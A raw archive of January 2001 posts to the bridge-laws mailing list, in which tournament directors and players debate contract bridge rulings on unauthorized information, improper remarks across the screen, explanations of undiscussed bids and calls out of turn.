<002f01c0768d$e83f4220$56991e18@san.rr.com> <10p3fXB5a3X6EwcO@blakjak.demon.co.uk> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >Hash: SHA1 > >David Stevenson : > >>Ed Reppert writes >>> >> >> >> you keep your score _provided_ the action you chose was made >>>>_less_ attractive by the UI than it would have been otherwise. >> > >>>Is that really right? Or is it "was not made _more_ attractive"? >>> >>>If it is right, _why_ is it right? :-) >> >> Because the Law says so? >> >> If you use L16A, and assume an action taken is an LA, or using my >>interpretation "choosing amongst LAs" does not mean that the action >>chosen has to be an LA, you still have another test: the action raken >>has to be suggested over another: so if they are equally suggested, then >>the chosen action is not suggested over another. > >Maybe my brain has turned to mush, but this makes absolutely no sense to me. > >Law 16A says "the partner may not choose from among logical actions >one that could demonstrably have been suggested over another by the >extraneous information." To me this says several things germane to >this thread: > >1. If an action is illogical, Law 16A does not prohibit it. That is one interpretation, not the only one, but I think it is easier to live with this problem. >2. I interpret "demonstrably suggested" as equivalent to "made more >attractive". If that interpretation is correct, then the law does >*not* say that any action you choose must have been made *less* >attractive by the UI. If that interpretation is not correct then I'd >sure like to know why it isn't. I see what you mean: you are comparing actions with UI and the same actions without UI. An interesting approach, but I am not sure that I see any advantage. In fact, in some rare cases it will be wrong. >3. If the set of logical actions includes says, one action which is >"demonstrably suggested" to be better than the other two, and two >actions which are *equally* suggested, then either of the latter two >actions is legal. (I think that's what the last part of your >paragraph above means, but I don't see what it has to do with my >point 2 - except that these two legal actions have not been made less >attractive by the UI, so I submit that " you keep your score >_provided_ the action you chose was made _less_ attractive by the UI >than it would have been otherwise" is incorrect. It appears from what >you say above that you disagree. I don't see why you do - you say >"because the law says so", but it *doesn't* say so. Not that I can >see, anyway. The Law compares the possible actions taken with the UI. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 08:35:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ELYWx04058 for bridge-laws-outgoing; Mon, 15 Jan 2001 08:34:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ELYQt04054 for ; Mon, 15 Jan 2001 08:34:26 +1100 (EST) Received: from twkdckuj (ppp031.pullman.com [204.227.174.31]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id NAA62420; Sun, 14 Jan 2001 13:35:04 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010114133635.0071fe5c@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 14 Jan 2001 13:36:41 -0800 To: From: "N. Scott Cardell" Subject: Re: [BLML] Your opinion pls. Cc: "Gelders Hans" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 06:50 PM 1/14/01 +0100, you wrote: >Hi all, > >I always read with great interest the discussions in this group about >difficult decisions for TD's. So I wanted >to ask your opinion about a decision a TD made yesterday in the >penultimate day of the teams-competition, first division Belgium. >This was the board (All vul, North dealer, the '_____'' indicates the >screen. > >North >S: 4 >H: AK52 >D: Q642 >C: KQ76 > >East >S:752 >H:Q8 >D:AJ983 >C:AJ9 >____________________ >West >S: AKQJ96 >H: J74 >D: K1075 >C:- > >South >S: 1075 >H: 10963 >D: - >C: 1085432 > >North opened the bidding with 2C, alerted and explained >as a three-suiter, unknown singleton, 12-16 or a two-suiter in the >minors, also 12-16. East passed, South bid >2H (alerted and explained as to play if partner held hearts) and I bid 3 >spades. LHO passed and partner raised till 4S. South bid 5C, I passed, >LHO passed and >partner, East, doubled. When the tray came back RHO did not pass but >took immediately all his bidding cards away. Distracted I also took my >bidding-cards (I of course had to pass and to ask my RHO to put his >cards back on the tray (in the correct order of course), however this >could not be done without a time delay and some noise). Anyway, when the >tray was passed to opener he started to think. In fact, I saw his >problem: he thought that his partner wanted to save in 5 hearts when >opener had a three-suiter and in 5C when partner had two-suiter in the >minors. After some 30 seconds my >RHO, who was on my side of the screen, said something like:"Please >partner, let's play on" (my RHO wanted of course to play 5C, not 5H.). >I had the impression that my LHO had not heard this quiet remark. So, >some 30 seconds later, my RHO made an other remark, this time >rather clear: 'Please partner, let's take this 1100 and go >on'. Do you expect -1100 with the South-hand. Anyway, his partner still >did not pass. So another 30 seconds later >my RHO looked under the tray to his partner, this time >stating "Pls partner, don't bid. If you bid our opponents >are going to call the TD". So now North woke up and >passed. My partner led a spade and called immediately >the TD when dummy hit the table, explaining to the TD >what happened. On these facts this is a very serious law violation. South engaged in actual cheating, (Intentional Violation of Law 73B) B. Inappropriate Communication Between Partners 1. Gratuitous Information Partners shall not communicate through the manner in which calls or plays are made, through extraneous remarks or gestures, through questions asked or not asked of the opponents or through alerts and explanations given or not given to them. 2. Prearranged Communication The gravest possible offense is for a partnership to exchange information through prearranged methods of communication other than those sanctioned by these Laws. A guilty partnership risks expulsion. North South should have been referred to a disciplinary committee, which should then investigate that pair. In all probability South should have been suspended or expelled by the SO. If there was evidence (such as a pattern of past behavior) that North had reason to expect that South's remark meant that pass would yield the best result; then North should have been suspended as well. Such a remark is always a violation of the law. If South had had: South S: 1075 H: 10965432 D: - C: 1083 then most directors would let it pass with a warning. But South had every reason to believe that 5C doubled was North/South's best spot. And South intentionally engaged in illegal communication that resulted in remaining in that contract. The only way I would not favor suspending South would be if he could convince me that he thought that partner's singleton was a club; which seems very unlikely. As the director had the table I would rule that South violated 73B in a way that he could have known would help his side to play in their best spot. I would have awarded the entire match to East/West ruling that North/South forfeit the match. And then I would have marched North/South over to the disciplinary committee. I would have stopped the play of the hand and done this immediately. I would have taken the hand with me and requested that East?west remain available to be witnesses. That such an extreme case could occur in an event with screens seems incredible and most disturbing. Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 12:06:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F14YF04189 for bridge-laws-outgoing; Mon, 15 Jan 2001 12:04:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F14Tt04185 for ; Mon, 15 Jan 2001 12:04:29 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id LAA05259 for ; Mon, 15 Jan 2001 11:57:15 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Mon, 15 Jan 2001 11:58:22 +0000 (EST) Subject: Re: [BLML] Equity or simplicity? To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Mon, 15 Jan 2001 12:03:15 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 15/01/2001 12:03:26 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L French wrote: >>Simpler Laws might help a lot. Perhaps we need a >>lightweight version for optional use in clubs and >>lower-level events at sectionals, regionals, and >>NABCs. Not only simpler Laws, but also simpler ACBL >>regulations (Alerts, for instance). We have four >>levels of ACBL Convention Charts, so there is some >>precedents. John (MadDog) Probst responded: >Nope, one set of Laws. Maybe more sets of >regulations. > >eg Law "The revoke penalty need not be applied if the >SO chooses." > >Reg Sydenham Ladies Bridge circle "We do not enforce >revoke penalties." According to Edgar Kaplan, a *lightweight* version of the Laws already exists. Kaplan stated that the word *tournaments* was deliberately inserted into L72A1. Kaplan's interpretation of L72A1 is that in social walk-ins at the local club, the TD and players do not have to *strictly* apply the Laws. However, I beg to differ with French, Probst and Kaplan. I support simpler Duplicate Laws, but believe that they should be universal. Proliferation of zonal differences, or varying *house* rules at local clubs, would eventually splinter duplicate bridge into mutually incomprehensible dialects. (Already the dialects of duplicate and rubber are as distinct as Australian English and American English.) Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 12:09:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F19pW04203 for bridge-laws-outgoing; Mon, 15 Jan 2001 12:09:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F19kt04199 for ; Mon, 15 Jan 2001 12:09:46 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id MAA05811 for ; Mon, 15 Jan 2001 12:02:33 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Mon, 15 Jan 2001 12:03:38 +0000 (EST) Subject: Re: [BLML] Autopilot To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Mon, 15 Jan 2001 12:08:29 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 15/01/2001 12:08:43 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I played in a demonstration viewgraph match on Friday night. LHO, my screenmate, dealt and opened 1C. Partner passed, and RHO responded 1H. Now I bid 2C. LHO enquired about the meaning of my call. I wrote, "undiscussed". LHO thought that my explanation was incomplete, since I obviously knew what I intended my bid to mean. LHO summoned the TD, who ruled that a simple "undiscussed" required no further amplification. Was my explanation and the TD's ruling valid, given that L75 had been modified by L80E? Eventually LHO declared 2NT. Partner failed to lead my club suit, which suggested that my (incomplete?) explanation was accurate. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 12:12:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F1CRp04222 for bridge-laws-outgoing; Mon, 15 Jan 2001 12:12:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtppop1pub.verizon.net (smtppop1pub.gte.net [206.46.170.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F1CKt04218 for ; Mon, 15 Jan 2001 12:12:21 +1100 (EST) Received: from mike (1Cust156.tnt1.bellingham.wa.da.uu.net [63.28.105.156]) by smtppop1pub.verizon.net with ESMTP for ; id TAA45206071 Sun, 14 Jan 2001 19:06:22 -0600 (CST) Message-ID: <001b01c07e8f$2a57e3c0$0b00000a@mike> Reply-To: "Mike Dodson" From: "Mike Dodson" To: Subject: [BLML] Dummy sees exposed card Date: Sun, 14 Jan 2001 17:04:08 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I was reading a list of most frequently violated laws (http://www.hsbridge.com/broken-rules.htm) when this problem occurred to me and I realized I hadn't the faintest idea of the correct ruling. Suppose dummy sees an opponent drop an honor face up on the table (could have been seen). No one says anything, the card is picked up and play continues. Dummy doesn't call the director until play ceases and now how to rule? Do any of the following change the ruling: Partner didn't see it happen. Partner did see it happen but wasn't aware that the director should be called. Offenders partner could have seen the card but in fact didn't notice anything. Thanks, Mike Dodson -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 13:22:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F2Ll304281 for bridge-laws-outgoing; Mon, 15 Jan 2001 13:21:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F2Lft04277 for ; Mon, 15 Jan 2001 13:21:42 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14HzH3-000KfD-0U for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 02:21:34 +0000 Message-ID: Date: Mon, 15 Jan 2001 02:05:22 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: [BLML] Let's get back to the easy stuff MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Too many posts have seemed too complex to me, so here is a query that is easy enough from a NZ correspondent. Dealer South, North bids out of turn, not accepted, so South is silenced. Are there any constraints on North's bidding? -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 14:40:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F3ciH04907 for bridge-laws-outgoing; Mon, 15 Jan 2001 14:38:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F3cct04871 for ; Mon, 15 Jan 2001 14:38:39 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id OAA20690 for ; Mon, 15 Jan 2001 14:31:25 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Mon, 15 Jan 2001 14:32:31 +0000 (EST) Subject: Re: [BLML] Let's get back to the easy stuff To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Mon, 15 Jan 2001 14:37:21 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 15/01/2001 02:37:35 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS posed an easy problem: >Dealer South, North bids out of turn, not accepted, >so South is silenced. Are there any constraints on >North's bidding? Should South be so upset as to provide UI, North will be constrained in selection of LAs. Otherwise, North can call what they like - but may wish to consider this possible penalty when selecting their action(s): If the suit(s) shown by North's cancelled bid are not subsequently legally shown, and if East-West buy the contract, then South may be constrained in their initial lead. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 17:40:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F6djc17236 for bridge-laws-outgoing; Mon, 15 Jan 2001 17:39:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F6ddt17232 for ; Mon, 15 Jan 2001 17:39:39 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sun, 14 Jan 2001 22:38:55 -0800 Message-ID: <006e01c07ebd$d6b6d940$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Autopilot Date: Sun, 14 Jan 2001 22:30:57 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > > I played in a demonstration viewgraph match on Friday night. > LHO, my screenmate, dealt and opened 1C. Partner passed, > and RHO responded 1H. Now I bid 2C. > > LHO enquired about the meaning of my call. I wrote, > "undiscussed". LHO thought that my explanation was > incomplete, since I obviously knew what I intended my bid to > mean. LHO summoned the TD, who ruled that a simple > "undiscussed" required no further amplification. > > Was my explanation and the TD's ruling valid, Yes, and yes. You have to disclose special partnership agreements, and this was not one. > given that > L75 had been modified by L80E? I don't see that L75 is modified by L80E, please explain. > > Eventually LHO declared 2NT. Partner failed to lead my club > suit, which suggested that my (incomplete?) explanation was > accurate. Doesn't matter. If partner had led a club, it would have meant only that her understanding of 2C ("gained from general knowledge and experience," to quote L75C) was the same as yours. Also, had that happened, your reply to a questioned 2C in the future should remain the same. There remains no special partnership agreement about it. If knowledge for both partners come from general knowledge and experience, no amount of partnership experience can turn it into a "special" partnership agreement. Now, partner was *not* on the same wavelength, so what he learned about 2C came from you, not from general knowledge and experience. Perhaps it has become a special partnership agreement, hence disclosable in the future, but I wonder. When a bridge teacher imparts general bidding knowledge to a novice, saying (in effect) "This is what you should assume when playing with a stranger," does that knowledge constitute a body of "special" partnership agreements when teacher and pupil are playing together? I think not. If partnership comes first, followed by teaching during or after play, I don't see that it makes a difference. General knowledge is general knowledge, nothing special. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 18:30:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F7UEG29429 for bridge-laws-outgoing; Mon, 15 Jan 2001 18:30:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F7U7t29399 for ; Mon, 15 Jan 2001 18:30:07 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sun, 14 Jan 2001 23:29:22 -0800 Message-ID: <007a01c07ec4$e313f680$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Equity or simplicity? Date: Sun, 14 Jan 2001 23:26:09 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richar Hills wrote: > > Marvin L French wrote: > > >>Simpler Laws might help a lot. Perhaps we need a > >>lightweight version for optional use in clubs and > >>lower-level events at sectionals, regionals, and > >>NABCs. Not only simpler Laws, but also simpler ACBL > >>regulations (Alerts, for instance). We have four > >>levels of ACBL Convention Charts, so there is some > >>precedents. > > John (MadDog) Probst responded: > > >Nope, one set of Laws. Maybe more sets of > >regulations. > > > >eg Law "The revoke penalty need not be applied if the > >SO chooses." > > > >Reg Sydenham Ladies Bridge circle "We do not enforce > >revoke penalties." > > According to Edgar Kaplan, a *lightweight* version of > the Laws already exists. Kaplan stated that the word > *tournaments* was deliberately inserted into L72A1. > > Kaplan's interpretation of L72A1 is that in social > walk-ins at the local club, the TD and players do not > have to *strictly* apply the Laws. > > However, I beg to differ with French, Probst and Kaplan. > I support simpler Duplicate Laws, but believe that they > should be universal. I would prefer that, but there seems to be no chance of getting simple Laws. Meanwhile, bridge remains the only game or sport whose participants are generally ignorant of the rules, and in fact do not own rule books. As I have said many times, the United States Tennis Association has the right approach: a simple version of the rules given to every member, and a detailed version for umpires and others who might want or need it. The two versions are mutually consistent, universal if you will, but the short version omits things that are rarely of importance, or of importance only to an official. You can convey the essence of L16A in one sentence without contradicting the current version: If a player makes use of information from partner other than what comes from legal bids or plays, the Director should be called if it appears that there may be damage requiring a score adjustment. In rubber bridge the players have to know the penalties for irregularities, but in duplicate only the TD has to know them in any detail. It follows that a simple rule book for players need only define proper procedures, with only general comments about what a TD may do to handle an irregularity. Of course players *should* be interested in the totality of the Laws, if only to check that what a TD does is correct, but few are. > Proliferation of zonal differences, > or varying *house* rules at local clubs, would > eventually splinter duplicate bridge into mutually > incomprehensible dialects. Agreed. The proliferation of zonal differences in regard to conventions and regulations is already excessive. The Laws, at least, should be universal, with no "elections." Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 18:49:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F7n8p29492 for bridge-laws-outgoing; Mon, 15 Jan 2001 18:49:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F7mwt29483 for ; Mon, 15 Jan 2001 18:48:59 +1100 (EST) Received: from dodona (host62-6-81-25.dialup.lineone.co.uk [62.6.81.25]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id HAA29454 for ; Mon, 15 Jan 2001 07:48:36 GMT Message-ID: <000801c07ec7$d6434b60$1951063e@dodona> From: "Grattan Endicott" To: References: Subject: Re: [BLML] Equity or simplicity? Date: Mon, 15 Jan 2001 07:25:10 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: To: Sent: Monday, January 15, 2001 2:03 AM Subject: Re: [BLML] Equity or simplicity? > > > According to Edgar Kaplan, a *lightweight* version of > the Laws already exists. Kaplan stated that the word > *tournaments* was deliberately inserted into L72A1. > > Kaplan's interpretation of L72A1 is that in social > walk-ins at the local club, the TD and players do not > have to *strictly* apply the Laws. > +=+ " 'Tournament': a contest in a game of skill between a number of competitors." Any organised duplicate session is a tournament, including the weekly one in the local village hall. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 18:49:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F7n8r29491 for bridge-laws-outgoing; Mon, 15 Jan 2001 18:49:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F7mwt29484 for ; Mon, 15 Jan 2001 18:48:59 +1100 (EST) Received: from dodona (host62-6-81-25.dialup.lineone.co.uk [62.6.81.25]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id HAA29467 for ; Mon, 15 Jan 2001 07:48:38 GMT Message-ID: <000901c07ec7$d74fd960$1951063e@dodona> From: "Grattan Endicott" To: References: <001a01c07e58$7e7cbde0$56991e18@san.rr.com> Subject: Re: [BLML] Artificial Scores Date: Mon, 15 Jan 2001 07:48:49 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Marvin L. French To: Sent: Sunday, January 14, 2001 6:33 PM Subject: [BLML] Artificial Scores > > 1. An artificial adjusted score is one awarded > in lieu of a result because no result can be > obtained or estimated for a particular deal > (e.g., when an irregularity prevents play of a >deal). > > "obtained or estimated"! I wonder how many > artificial scores might have been avoided if > these words had been used in L12C1. > +=+ This is the message that David Stevenson has been preaching all along. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 19:44:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F8hxA29562 for bridge-laws-outgoing; Mon, 15 Jan 2001 19:43:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from plutonium.uunet.be (plutonium.uunet.be [194.7.1.47]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F8hot29554 for ; Mon, 15 Jan 2001 19:43:51 +1100 (EST) Received: from village.uunet.be (uu212-190-8-13.unknown.uunet.be [212.190.8.13]) by plutonium.uunet.be (8.9.1/8.9.1) with ESMTP id JAA10387 for ; Mon, 15 Jan 2001 09:43:46 +0100 (CET) Message-ID: <3A62B837.C5A1EBEE@village.uunet.be> Date: Mon, 15 Jan 2001 09:43:35 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: [BLML] Escape sequences Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk One of the "misbids" in the Belgian first division that I told you about in the thread "Automatic Penalties" was the following : 2NT 3NT 4Sp 4NT pass 3NT showed 5 spades and 4 hearts, and when the tray came back with 4Sp, the bidder realised he'd made a mistake and told his opponent. He bid 4NT and said to his screenmate "to pass". On the other side of the screen, 4NT was explained as "partner has forgotten again". As I said, I ruled "no infractions" (apart from the original misexplanation of 3NT on one side, from which there was no damage). But are such escape sequences legal ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 15 19:44:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0F8hv229561 for bridge-laws-outgoing; Mon, 15 Jan 2001 19:43:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from plutonium.uunet.be (plutonium.uunet.be [194.7.1.47]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0F8hmt29553 for ; Mon, 15 Jan 2001 19:43:49 +1100 (EST) Received: from village.uunet.be (uu212-190-8-13.unknown.uunet.be [212.190.8.13]) by plutonium.uunet.be (8.9.1/8.9.1) with ESMTP id JAA10366 for ; Mon, 15 Jan 2001 09:43:43 +0100 (CET) Message-ID: <3A62B423.A419D571@village.uunet.be> Date: Mon, 15 Jan 2001 09:26:11 +0100 From: 